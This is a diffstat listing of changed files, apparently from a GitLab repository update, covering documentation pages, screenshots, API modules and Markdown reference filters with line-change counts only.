-rw-r--r--doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.pngbin0 -> 31139 bytes
-rw-r--r--doc/operations/incident_management/incidents.md4
-rw-r--r--doc/operations/incident_management/index.md5
-rw-r--r--doc/operations/incident_management/integrations.md32
-rw-r--r--doc/operations/incident_management/oncall_schedules.md109
-rw-r--r--doc/operations/incident_management/paging.md8
-rw-r--r--doc/operations/incident_management/status_page.md2
-rw-r--r--doc/operations/index.md6
-rw-r--r--doc/operations/metrics/alerts.md6
-rw-r--r--doc/operations/metrics/dashboards/default.md2
-rw-r--r--doc/operations/metrics/dashboards/develop.md2
-rw-r--r--doc/operations/metrics/dashboards/index.md2
-rw-r--r--doc/operations/metrics/dashboards/panel_types.md2
-rw-r--r--doc/operations/metrics/dashboards/settings.md2
-rw-r--r--doc/operations/metrics/dashboards/templating_variables.md2
-rw-r--r--doc/operations/metrics/dashboards/variables.md2
-rw-r--r--doc/operations/metrics/dashboards/yaml.md2
-rw-r--r--doc/operations/metrics/dashboards/yaml_number_format.md2
-rw-r--r--doc/operations/metrics/embed.md2
-rw-r--r--doc/operations/metrics/embed_grafana.md4
-rw-r--r--doc/operations/metrics/index.md2
-rw-r--r--doc/operations/tracing.md37
-rw-r--r--doc/policy/maintenance.md2
-rw-r--r--doc/push_rules/push_rules.md22
-rw-r--r--doc/raketasks/backup_restore.md6
-rw-r--r--doc/raketasks/generate_sample_prometheus_data.md2
-rw-r--r--doc/raketasks/index.md73
-rw-r--r--doc/security/README.md1
-rw-r--r--doc/security/reset_user_password.md31
-rw-r--r--doc/security/token_overview.md14
-rw-r--r--doc/ssh/README.md2
-rw-r--r--doc/subscriptions/gitlab_com/index.md73
-rw-r--r--doc/subscriptions/self_managed/index.md37
-rw-r--r--doc/tools/email.md3
-rw-r--r--doc/topics/authentication/index.md1
-rw-r--r--doc/topics/autodevops/customize.md2
-rw-r--r--doc/topics/autodevops/index.md4
-rw-r--r--doc/topics/autodevops/requirements.md2
-rw-r--r--doc/topics/autodevops/stages.md21
-rw-r--r--doc/topics/autodevops/troubleshooting.md2
-rw-r--r--doc/topics/git/feature_branch_development.md23
-rw-r--r--doc/topics/git/lfs/index.md8
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/index.md2
-rw-r--r--doc/topics/git/partial_clone.md83
-rw-r--r--doc/topics/git/tags.md2
-rw-r--r--doc/topics/git/troubleshooting_git.md68
-rw-r--r--doc/topics/git/useful_git_commands.md2
-rw-r--r--doc/university/training/user_training.md4
-rw-r--r--doc/update/index.md17
-rw-r--r--doc/update/patch_versions.md9
-rw-r--r--doc/update/restore_after_failure.md5
-rw-r--r--doc/update/upgrading_from_ce_to_ee.md9
-rw-r--r--doc/update/upgrading_from_source.md8
-rw-r--r--doc/user/admin_area/abuse_reports.md2
-rw-r--r--doc/user/admin_area/activating_deactivating_users.md2
-rw-r--r--doc/user/admin_area/credentials_inventory.md24
-rw-r--r--doc/user/admin_area/custom_project_templates.md2
-rw-r--r--doc/user/admin_area/geo_nodes.md6
-rw-r--r--doc/user/admin_area/img/abuse_reports_page.pngbin86180 -> 0 bytes
-rw-r--r--doc/user/admin_area/img/abuse_reports_page_v13_11.pngbin0 -> 77994 bytes
-rw-r--r--doc/user/admin_area/img/admin_area_settings_button.pngbin7974 -> 0 bytes
-rw-r--r--doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.pngbin62501 -> 20600 bytes
-rw-r--r--doc/user/admin_area/img/credentials_inventory_v13_10.pngbin100241 -> 30223 bytes
-rw-r--r--doc/user/admin_area/img/export_permissions_v13_11.pngbin0 -> 11567 bytes
-rw-r--r--doc/user/admin_area/img/license_details_v13_8.pngbin69506 -> 0 bytes
-rw-r--r--doc/user/admin_area/index.md2
-rw-r--r--doc/user/admin_area/license.md18
-rw-r--r--doc/user/admin_area/merge_requests_approvals.md2
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md5
-rw-r--r--doc/user/admin_area/settings/index.md8
-rw-r--r--doc/user/admin_area/settings/project_integration_management.md4
-rw-r--r--doc/user/admin_area/settings/rate_limit_on_issues_creation.md2
-rw-r--r--doc/user/admin_area/settings/rate_limit_on_notes_creation.md2
-rw-r--r--doc/user/admin_area/settings/sign_in_restrictions.md79
-rw-r--r--doc/user/analytics/ci_cd_analytics.md37
-rw-r--r--doc/user/analytics/code_review_analytics.md4
-rw-r--r--doc/user/analytics/img/code_review_analytics_v12_8.pngbin40082 -> 0 bytes
-rw-r--r--doc/user/analytics/img/code_review_analytics_v13_11.pngbin0 -> 107184 bytes
-rw-r--r--doc/user/analytics/img/issues_created_per_month_v12_8.pngbin26718 -> 0 bytes
-rw-r--r--doc/user/analytics/img/issues_created_per_month_v13_11.pngbin0 -> 57729 bytes
-rw-r--r--doc/user/analytics/img/lead_time_chart_v13_11.pngbin0 -> 52168 bytes
-rw-r--r--doc/user/analytics/index.md15
-rw-r--r--doc/user/analytics/issue_analytics.md4
-rw-r--r--doc/user/analytics/value_stream_analytics.md24
-rw-r--r--doc/user/application_security/api_fuzzing/index.md117
-rw-r--r--doc/user/application_security/container_scanning/index.md85
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md12
-rw-r--r--doc/user/application_security/dast/dast_troubleshooting.md64
-rw-r--r--doc/user/application_security/dast/img/dast_v13_4.pngbin6558 -> 0 bytes
-rw-r--r--doc/user/application_security/dast/index.md373
-rw-r--r--doc/user/application_security/dependency_list/img/dependency_list_v12_10.pngbin76835 -> 0 bytes
-rw-r--r--doc/user/application_security/dependency_list/img/dependency_list_v13_11.pngbin0 -> 85626 bytes
-rw-r--r--doc/user/application_security/dependency_list/index.md5
-rw-r--r--doc/user/application_security/dependency_scanning/index.md51
-rw-r--r--doc/user/application_security/img/adding_a_dismissal_reason_v13_4.pngbin25574 -> 0 bytes
-rw-r--r--doc/user/application_security/img/create_mr_from_vulnerability_v13_4.pngbin49215 -> 16106 bytes
-rw-r--r--doc/user/application_security/img/interacting_with_vulnerability_v13_3.pngbin54508 -> 0 bytes
-rw-r--r--doc/user/application_security/img/multi_select_v12_9.pngbin10825 -> 0 bytes
-rw-r--r--doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gifbin69338 -> 0 bytes
-rw-r--r--doc/user/application_security/index.md54
-rw-r--r--doc/user/application_security/policies/index.md183
-rw-r--r--doc/user/application_security/sast/analyzers.md13
-rw-r--r--doc/user/application_security/sast/index.md76
-rw-r--r--doc/user/application_security/secret_detection/index.md42
-rw-r--r--doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.pngbin0 -> 15914 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.pngbin62882 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/index.md14
-rw-r--r--doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.pngbin0 -> 11654 bytes
-rw-r--r--doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.pngbin10558 -> 0 bytes
-rw-r--r--doc/user/application_security/threat_monitoring/index.md2
-rw-r--r--doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.pngbin15394 -> 0 bytes
-rw-r--r--doc/user/application_security/vulnerabilities/index.md2
-rw-r--r--doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_10.png (renamed from doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_9.png)bin41154 -> 41154 bytes
-rw-r--r--doc/user/application_security/vulnerability_report/index.md19
-rw-r--r--doc/user/asciidoc.md2
-rw-r--r--doc/user/clusters/agent/index.md208
-rw-r--r--doc/user/clusters/agent/repository.md4
-rw-r--r--doc/user/clusters/applications.md12
-rw-r--r--doc/user/clusters/integrations.md68
-rw-r--r--doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.pngbin0 -> 45002 bytes
-rw-r--r--doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.pngbin64273 -> 0 bytes
-rw-r--r--doc/user/compliance/compliance_dashboard/index.md2
-rw-r--r--doc/user/compliance/license_compliance/index.md31
-rw-r--r--doc/user/discussions/img/mr_review_new_comment_v13_11.pngbin0 -> 32192 bytes
-rw-r--r--doc/user/discussions/img/review_preview.pngbin27664 -> 0 bytes
-rw-r--r--doc/user/discussions/img/review_preview_v13_11.pngbin0 -> 28261 bytes
-rw-r--r--doc/user/discussions/index.md61
-rw-r--r--doc/user/feature_flags.md20
-rw-r--r--doc/user/gitlab_com/index.md8
-rw-r--r--doc/user/group/bulk_editing/index.md2
-rw-r--r--doc/user/group/clusters/index.md4
-rw-r--r--doc/user/group/custom_project_templates.md2
-rw-r--r--doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.pngbin0 -> 58389 bytes
-rw-r--r--doc/user/group/devops_adoption/index.md60
-rw-r--r--doc/user/group/epics/img/epic_board_v13_10.pngbin147584 -> 60672 bytes
-rw-r--r--doc/user/group/epics/img/epics_search.pngbin65963 -> 0 bytes
-rw-r--r--doc/user/group/epics/img/epics_search_v13_11.pngbin0 -> 23566 bytes
-rw-r--r--doc/user/group/epics/index.md2
-rw-r--r--doc/user/group/epics/manage_epics.md39
-rw-r--r--doc/user/group/import/index.md5
-rw-r--r--doc/user/group/index.md127
-rw-r--r--doc/user/group/insights/img/insights_example_stacked_bar_chart.pngbin40798 -> 0 bytes
-rw-r--r--doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.pngbin0 -> 85296 bytes
-rw-r--r--doc/user/group/insights/img/insights_sidebar_link_v12_8.pngbin7773 -> 0 bytes
-rw-r--r--doc/user/group/insights/index.md6
-rw-r--r--doc/user/group/iterations/index.md10
-rw-r--r--doc/user/group/repositories_analytics/index.md2
-rw-r--r--doc/user/group/roadmap/img/roadmap_filters_v13_11.pngbin0 -> 79098 bytes
-rw-r--r--doc/user/group/roadmap/img/roadmap_filters_v13_8.pngbin20766 -> 0 bytes
-rw-r--r--doc/user/group/roadmap/index.md5
-rw-r--r--doc/user/group/saml_sso/group_managed_accounts.md10
-rw-r--r--doc/user/group/saml_sso/img/scim_name_identifier_mapping.pngbin59409 -> 0 bytes
-rw-r--r--doc/user/group/saml_sso/img/scim_provisioning_status.pngbin7756 -> 0 bytes
-rw-r--r--doc/user/group/saml_sso/index.md139
-rw-r--r--doc/user/group/saml_sso/scim_setup.md55
-rw-r--r--doc/user/group/subgroups/index.md2
-rw-r--r--doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.pngbin259265 -> 82406 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.pngbin47083 -> 14209 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.pngbin43974 -> 14519 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.pngbin0 -> 22421 bytes
-rw-r--r--doc/user/group/value_stream_analytics/index.md75
-rw-r--r--doc/user/img/new_project_snippet_from_project_v12_10.pngbin73848 -> 0 bytes
-rw-r--r--doc/user/img/snippet_intro_v13_11.pngbin0 -> 37571 bytes
-rw-r--r--doc/user/img/snippet_tooltip_v13_10.pngbin0 -> 21652 bytes
-rw-r--r--doc/user/index.md6
-rw-r--r--doc/user/infrastructure/mr_integration.md4
-rw-r--r--doc/user/packages/composer_repository/index.md33
-rw-r--r--doc/user/packages/conan_repository/index.md18
-rw-r--r--doc/user/packages/container_registry/index.md19
-rw-r--r--doc/user/packages/dependency_proxy/index.md5
-rw-r--r--doc/user/packages/generic_packages/index.md8
-rw-r--r--doc/user/packages/go_proxy/index.md3
-rw-r--r--doc/user/packages/index.md4
-rw-r--r--doc/user/packages/maven_repository/index.md13
-rw-r--r--doc/user/packages/npm_registry/index.md44
-rw-r--r--doc/user/packages/nuget_repository/index.md17
-rw-r--r--doc/user/packages/package_registry/index.md3
-rw-r--r--doc/user/packages/pypi_repository/index.md12
-rw-r--r--doc/user/packages/rubygems_registry/index.md137
-rw-r--r--doc/user/packages/workflows/project_registry.md2
-rw-r--r--doc/user/permissions.md39
-rw-r--r--doc/user/profile/account/two_factor_authentication.md2
-rw-r--r--doc/user/profile/index.md7
-rw-r--r--doc/user/profile/notifications.md37
-rw-r--r--doc/user/profile/preferences.md6
-rw-r--r--doc/user/project/badges.md2
-rw-r--r--doc/user/project/bulk_editing.md2
-rw-r--r--doc/user/project/clusters/add_remove_clusters.md2
-rw-r--r--doc/user/project/clusters/index.md6
-rw-r--r--doc/user/project/clusters/kubernetes_pod_logs.md2
-rw-r--r--doc/user/project/clusters/runbooks/index.md2
-rw-r--r--doc/user/project/clusters/serverless/aws.md6
-rw-r--r--doc/user/project/clusters/serverless/index.md2
-rw-r--r--doc/user/project/deploy_tokens/index.md36
-rw-r--r--doc/user/project/description_templates.md83
-rw-r--r--doc/user/project/file_lock.md2
-rw-r--r--doc/user/project/img/issue_board_iteration_lists_v13_10.pngbin0 -> 22196 bytes
-rw-r--r--doc/user/project/img/issue_boards_blocked_icon_v13_10.pngbin0 -> 13821 bytes
-rw-r--r--doc/user/project/img/issue_boards_blocked_icon_v13_6.pngbin16709 -> 0 bytes
-rw-r--r--doc/user/project/img/project_overview_badges.pngbin12486 -> 0 bytes
-rw-r--r--doc/user/project/img/project_overview_badges_v13_10.pngbin0 -> 12267 bytes
-rw-r--r--doc/user/project/img/project_repository_settings.pngbin7511 -> 0 bytes
-rw-r--r--doc/user/project/import/perforce.md40
-rw-r--r--doc/user/project/import/phabricator.md11
-rw-r--r--doc/user/project/insights/index.md10
-rw-r--r--doc/user/project/integrations/asana.md44
-rw-r--r--doc/user/project/integrations/bamboo.md32
-rw-r--r--doc/user/project/integrations/discord_notifications.md3
-rw-r--r--doc/user/project/integrations/emails_on_push.md4
-rw-r--r--doc/user/project/integrations/github.md45
-rw-r--r--doc/user/project/integrations/hipchat.md65
-rw-r--r--doc/user/project/integrations/img/emails_on_push_service_v13_11.pngbin0 -> 25469 bytes
-rw-r--r--doc/user/project/integrations/img/github_configuration.pngbin12258 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/jira_add_user_to_group.pngbin83799 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/jira_api_token.pngbin7407 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/jira_api_token_menu.pngbin14353 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/jira_create_new_user.pngbin40275 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/jira_group_access.pngbin32162 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/jira_user_management_link.pngbin57628 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/mattermost_configuration_v2.pngbin75931 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/microsoft_teams_configuration.pngbin29336 -> 0 bytes
-rw-r--r--doc/user/project/integrations/img/redmine_configuration.pngbin10254 -> 0 bytes
-rw-r--r--doc/user/project/integrations/index.md13
-rw-r--r--doc/user/project/integrations/irker.md2
-rw-r--r--doc/user/project/integrations/jira.md306
-rw-r--r--doc/user/project/integrations/jira_cloud_configuration.md27
-rw-r--r--doc/user/project/integrations/jira_integrations.md56
-rw-r--r--doc/user/project/integrations/jira_server_configuration.md68
-rw-r--r--doc/user/project/integrations/mattermost.md55
-rw-r--r--doc/user/project/integrations/microsoft_teams.md82
-rw-r--r--doc/user/project/integrations/overview.md96
-rw-r--r--doc/user/project/integrations/prometheus.md6
-rw-r--r--doc/user/project/integrations/prometheus_library/cloudwatch.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/haproxy.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/index.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/kubernetes.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx_ingress.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md2
-rw-r--r--doc/user/project/integrations/redmine.md61
-rw-r--r--doc/user/project/integrations/services_templates.md7
-rw-r--r--doc/user/project/integrations/webhooks.md2
-rw-r--r--doc/user/project/issue_board.md108
-rw-r--r--doc/user/project/issues/confidential_issues.md2
-rw-r--r--doc/user/project/issues/crosslinking_issues.md24
-rw-r--r--doc/user/project/issues/csv_import.md5
-rw-r--r--doc/user/project/issues/due_dates.md2
-rw-r--r--doc/user/project/issues/img/issue_health_status_dropdown_v12_10.pngbin13926 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/issues_main_view.pngbin72540 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/project_issues_list_view.pngbin77189 -> 0 bytes
-rw-r--r--doc/user/project/issues/index.md215
-rw-r--r--doc/user/project/issues/issue_data_and_actions.md8
-rw-r--r--doc/user/project/issues/managing_issues.md47
-rw-r--r--doc/user/project/issues/related_issues.md74
-rw-r--r--doc/user/project/issues/sorting_issue_lists.md6
-rw-r--r--doc/user/project/labels.md2
-rw-r--r--doc/user/project/members/index.md46
-rw-r--r--doc/user/project/members/share_project_with_groups.md43
-rw-r--r--doc/user/project/merge_requests/accessibility_testing.md2
-rw-r--r--doc/user/project/merge_requests/browser_performance_testing.md4
-rw-r--r--doc/user/project/merge_requests/cherry_pick_changes.md42
-rw-r--r--doc/user/project/merge_requests/code_quality.md46
-rw-r--r--doc/user/project/merge_requests/creating_merge_requests.md21
-rw-r--r--doc/user/project/merge_requests/csv_export.md2
-rw-r--r--doc/user/project/merge_requests/getting_started.md10
-rw-r--r--doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.pngbin0 -> 18282 bytes
-rw-r--r--doc/user/project/merge_requests/img/code_quality.pngbin147457 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.pngbin0 -> 28144 bytes
-rw-r--r--doc/user/project/merge_requests/img/code_quality_report_13_11.pngbin0 -> 23710 bytes
-rw-r--r--doc/user/project/merge_requests/img/code_quality_widget_13_11.pngbin0 -> 29118 bytes
-rw-r--r--doc/user/project/merge_requests/img/commit_nav_v13_11.pngbin0 -> 24164 bytes
-rw-r--r--doc/user/project/merge_requests/img/commit_nav_v13_4.pngbin21170 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.pngbin74731 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.pngbin0 -> 9269 bytes
-rw-r--r--doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.pngbin39889 -> 12376 bytes
-rw-r--r--doc/user/project/merge_requests/img/update_approval_rule_v13_10.pngbin42956 -> 13847 bytes
-rw-r--r--doc/user/project/merge_requests/index.md97
-rw-r--r--doc/user/project/merge_requests/load_performance_testing.md4
-rw-r--r--doc/user/project/merge_requests/merge_request_approvals.md56
-rw-r--r--doc/user/project/merge_requests/merge_request_dependencies.md6
-rw-r--r--doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md39
-rw-r--r--doc/user/project/merge_requests/squash_and_merge.md18
-rw-r--r--doc/user/project/merge_requests/test_coverage_visualization.md9
-rw-r--r--doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md2
-rw-r--r--doc/user/project/new_ci_build_permissions_model.md256
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md2
-rw-r--r--doc/user/project/pages/getting_started/pages_new_project_template.md2
-rw-r--r--doc/user/project/pages/getting_started_part_one.md2
-rw-r--r--doc/user/project/pages/index.md4
-rw-r--r--doc/user/project/pages/introduction.md16
-rw-r--r--doc/user/project/protected_branches.md17
-rw-r--r--doc/user/project/protected_tags.md4
-rw-r--r--doc/user/project/push_options.md2
-rw-r--r--doc/user/project/quick_actions.md5
-rw-r--r--doc/user/project/releases/img/deploy_freeze_v13_10.pngbin0 -> 15902 bytes
-rw-r--r--doc/user/project/releases/img/deploy_freeze_v13_2.pngbin33428 -> 0 bytes
-rw-r--r--doc/user/project/releases/index.md12
-rw-r--r--doc/user/project/repository/branches/default.md180
-rw-r--r--doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.pngbin48672 -> 17166 bytes
-rw-r--r--doc/user/project/repository/branches/index.md57
-rw-r--r--doc/user/project/repository/file_finder.md12
-rw-r--r--doc/user/project/repository/forking_workflow.md72
-rw-r--r--doc/user/project/repository/git_blame.md12
-rw-r--r--doc/user/project/repository/git_history.md11
-rw-r--r--doc/user/project/repository/img/contributors_graph.pngbin31670 -> 27253 bytes
-rw-r--r--doc/user/project/repository/img/download_source_code.pngbin19577 -> 19681 bytes
-rw-r--r--doc/user/project/repository/img/file_blame_button_v12_6.pngbin9194 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/file_finder_find_button_v12_10.pngbin26036 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/file_history_button_v12_6.pngbin9194 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/fork_form_v13_10.pngbin0 -> 40932 bytes
-rw-r--r--doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.pngbin0 -> 18552 bytes
-rw-r--r--doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.pngbin37495 -> 29612 bytes
-rw-r--r--doc/user/project/repository/img/forking_workflow_fork_button.pngbin10365 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/forking_workflow_fork_button_v13_10.pngbin0 -> 8619 bytes
-rw-r--r--doc/user/project/repository/img/repo_graph.pngbin52317 -> 64212 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_line_link_v13_10.pngbin0 -> 42942 bytes
-rw-r--r--doc/user/project/repository/index.md2
-rw-r--r--doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.pngbin63326 -> 53800 bytes
-rw-r--r--doc/user/project/repository/jupyter_notebooks/index.md4
-rw-r--r--doc/user/project/repository/reducing_the_repo_size_using_git.md4
-rw-r--r--doc/user/project/repository/web_editor.md18
-rw-r--r--doc/user/project/requirements/index.md3
-rw-r--r--doc/user/project/service_desk.md36
-rw-r--r--doc/user/project/settings/img/general_settings.pngbin46077 -> 0 bytes
-rw-r--r--doc/user/project/settings/img/general_settings_v13_11.pngbin0 -> 31271 bytes
-rw-r--r--doc/user/project/settings/img/merge_requests_settings.pngbin52029 -> 0 bytes
-rw-r--r--doc/user/project/settings/import_export.md4
-rw-r--r--doc/user/project/settings/index.md92
-rw-r--r--doc/user/project/settings/project_access_tokens.md6
-rw-r--r--doc/user/project/time_tracking.md21
-rw-r--r--doc/user/project/web_ide/img/commit_changes_v12_9.pngbin144214 -> 0 bytes
-rw-r--r--doc/user/project/web_ide/img/commit_changes_v13_11.pngbin0 -> 116443 bytes
-rw-r--r--doc/user/project/web_ide/img/live_preview_v13_0.pngbin60256 -> 29188 bytes
-rw-r--r--doc/user/project/web_ide/index.md13
-rw-r--r--doc/user/project/wiki/img/wiki_create_home_page.pngbin12421 -> 0 bytes
-rw-r--r--doc/user/project/wiki/img/wiki_create_new_page.pngbin14957 -> 0 bytes
-rw-r--r--doc/user/project/wiki/index.md337
-rw-r--r--doc/user/search/advanced_search.md2
-rw-r--r--doc/user/search/img/basic_search.pngbin88486 -> 8344 bytes
-rw-r--r--doc/user/search/img/dashboard_links.pngbin10220 -> 0 bytes
-rw-r--r--doc/user/search/img/dashboard_links_v13_11.pngbin0 -> 2798 bytes
-rw-r--r--doc/user/search/img/issues_mrs_shortcut.pngbin26706 -> 4523 bytes
-rw-r--r--doc/user/search/img/project_search_dropdown.pngbin117963 -> 0 bytes
-rw-r--r--doc/user/search/index.md43
-rw-r--r--doc/user/snippets.md15
-rw-r--r--doc/user/usage_quotas.md2
-rw-r--r--generator_templates/active_record/migration/create_table_migration.rb12
-rw-r--r--generator_templates/active_record/migration/migration.rb12
-rw-r--r--generator_templates/rails/post_deployment_migration/migration.rb6
-rw-r--r--generator_templates/usage_metric_definition/metric_definition.yml2
-rw-r--r--jest.config.base.js14
-rw-r--r--jest.config.integration.js13
-rw-r--r--lefthook.yml18
-rw-r--r--lib/api/admin/sidekiq.rb4
-rw-r--r--lib/api/api.rb4
-rw-r--r--lib/api/api_guard.rb4
-rw-r--r--lib/api/applications.rb2
-rw-r--r--lib/api/ci/pipelines.rb2
-rw-r--r--lib/api/ci/runner.rb4
-rw-r--r--lib/api/commits.rb6
-rw-r--r--lib/api/composer_packages.rb2
-rw-r--r--lib/api/concerns/packages/nuget_endpoints.rb2
-rw-r--r--lib/api/deploy_keys.rb2
-rw-r--r--lib/api/deployments.rb4
-rw-r--r--lib/api/entities/basic_project_details.rb9
-rw-r--r--lib/api/entities/clusters/agent.rb12
-rw-r--r--lib/api/entities/email.rb2
-rw-r--r--lib/api/entities/job_request/job_info.rb2
-rw-r--r--lib/api/entities/namespace_existence.rb9
-rw-r--r--lib/api/entities/project.rb5
-rw-r--r--lib/api/entities/project_import_failed_relation.rb6
-rw-r--r--lib/api/entities/user.rb4
-rw-r--r--lib/api/entities/user_preferences.rb9
-rw-r--r--lib/api/entities/user_public.rb1
-rw-r--r--lib/api/environments.rb2
-rw-r--r--lib/api/files.rb4
-rw-r--r--lib/api/generic_packages.rb4
-rw-r--r--lib/api/group_variables.rb36
-rw-r--r--lib/api/groups.rb10
-rw-r--r--lib/api/helpers.rb22
-rw-r--r--lib/api/helpers/authentication.rb5
-rw-r--r--lib/api/helpers/caching.rb137
-rw-r--r--lib/api/helpers/common_helpers.rb4
-rw-r--r--lib/api/helpers/graphql_helpers.rb4
-rw-r--r--lib/api/helpers/notes_helpers.rb6
-rw-r--r--lib/api/helpers/packages/conan/api_helpers.rb23
-rw-r--r--lib/api/helpers/packages/dependency_proxy_helpers.rb2
-rw-r--r--lib/api/helpers/packages_helpers.rb3
-rw-r--r--lib/api/helpers/runner.rb9
-rw-r--r--lib/api/helpers/services_helpers.rb10
-rw-r--r--lib/api/helpers/variables_helpers.rb27
-rw-r--r--lib/api/internal/base.rb61
-rw-r--r--lib/api/internal/kubernetes.rb6
-rw-r--r--lib/api/invitations.rb6
-rw-r--r--lib/api/issue_links.rb5
-rw-r--r--lib/api/issues.rb6
-rw-r--r--lib/api/jobs.rb30
-rw-r--r--lib/api/maven_packages.rb43
-rw-r--r--lib/api/members.rb8
-rw-r--r--lib/api/merge_request_diffs.rb2
-rw-r--r--lib/api/merge_requests.rb67
-rw-r--r--lib/api/milestone_responses.rb2
-rw-r--r--lib/api/namespaces.rb17
-rw-r--r--lib/api/project_import.rb2
-rw-r--r--lib/api/projects.rb53
-rw-r--r--lib/api/repositories.rb15
-rw-r--r--lib/api/resource_access_tokens.rb6
-rw-r--r--lib/api/rubygem_packages.rb12
-rw-r--r--lib/api/search.rb18
-rw-r--r--lib/api/settings.rb1
-rw-r--r--lib/api/tags.rb8
-rw-r--r--lib/api/triggers.rb2
-rw-r--r--lib/api/usage_data.rb17
-rw-r--r--lib/api/usage_data_non_sql_metrics.rb27
-rw-r--r--lib/api/usage_data_queries.rb27
-rw-r--r--lib/api/users.rb27
-rw-r--r--lib/api/v3/github.rb12
-rw-r--r--lib/api/variables.rb30
-rw-r--r--lib/atlassian/jira_connect/client.rb4
-rw-r--r--lib/atlassian/jira_connect/serializers/build_entity.rb10
-rw-r--r--lib/backup/repositories.rb2
-rw-r--r--lib/banzai/filter/abstract_reference_filter.rb446
-rw-r--r--lib/banzai/filter/alert_reference_filter.rb29
-rw-r--r--lib/banzai/filter/autolink_filter.rb2
-rw-r--r--lib/banzai/filter/commit_range_reference_filter.rb46
-rw-r--r--lib/banzai/filter/commit_reference_filter.rb86
-rw-r--r--lib/banzai/filter/commit_trailers_filter.rb2
-rw-r--r--lib/banzai/filter/design_reference_filter.rb107
-rw-r--r--lib/banzai/filter/epic_reference_filter.rb22
-rw-r--r--lib/banzai/filter/external_issue_reference_filter.rb118
-rw-r--r--lib/banzai/filter/feature_flag_reference_filter.rb33
-rw-r--r--lib/banzai/filter/gollum_tags_filter.rb13
-rw-r--r--lib/banzai/filter/issuable_reference_filter.rb19
-rw-r--r--lib/banzai/filter/issue_reference_filter.rb57
-rw-r--r--lib/banzai/filter/iteration_reference_filter.rb16
-rw-r--r--lib/banzai/filter/label_reference_filter.rb129
-rw-r--r--lib/banzai/filter/math_filter.rb2
-rw-r--r--lib/banzai/filter/merge_request_reference_filter.rb97
-rw-r--r--lib/banzai/filter/milestone_reference_filter.rb138
-rw-r--r--lib/banzai/filter/project_reference_filter.rb117
-rw-r--r--lib/banzai/filter/reference_filter.rb215
-rw-r--r--lib/banzai/filter/references/abstract_reference_filter.rb448
-rw-r--r--lib/banzai/filter/references/alert_reference_filter.rb31
-rw-r--r--lib/banzai/filter/references/commit_range_reference_filter.rb48
-rw-r--r--lib/banzai/filter/references/commit_reference_filter.rb88
-rw-r--r--lib/banzai/filter/references/design_reference_filter.rb109
-rw-r--r--lib/banzai/filter/references/epic_reference_filter.rb24
-rw-r--r--lib/banzai/filter/references/external_issue_reference_filter.rb120
-rw-r--r--lib/banzai/filter/references/feature_flag_reference_filter.rb35
-rw-r--r--lib/banzai/filter/references/issuable_reference_filter.rb21
-rw-r--r--lib/banzai/filter/references/issue_reference_filter.rb59
-rw-r--r--lib/banzai/filter/references/iteration_reference_filter.rb18
-rw-r--r--lib/banzai/filter/references/label_reference_filter.rb132
-rw-r--r--lib/banzai/filter/references/merge_request_reference_filter.rb99
-rw-r--r--lib/banzai/filter/references/milestone_reference_filter.rb140
-rw-r--r--lib/banzai/filter/references/project_reference_filter.rb119
-rw-r--r--lib/banzai/filter/references/reference_filter.rb217
-rw-r--r--lib/banzai/filter/references/snippet_reference_filter.rb31
-rw-r--r--lib/banzai/filter/references/user_reference_filter.rb182
-rw-r--r--lib/banzai/filter/references/vulnerability_reference_filter.rb24
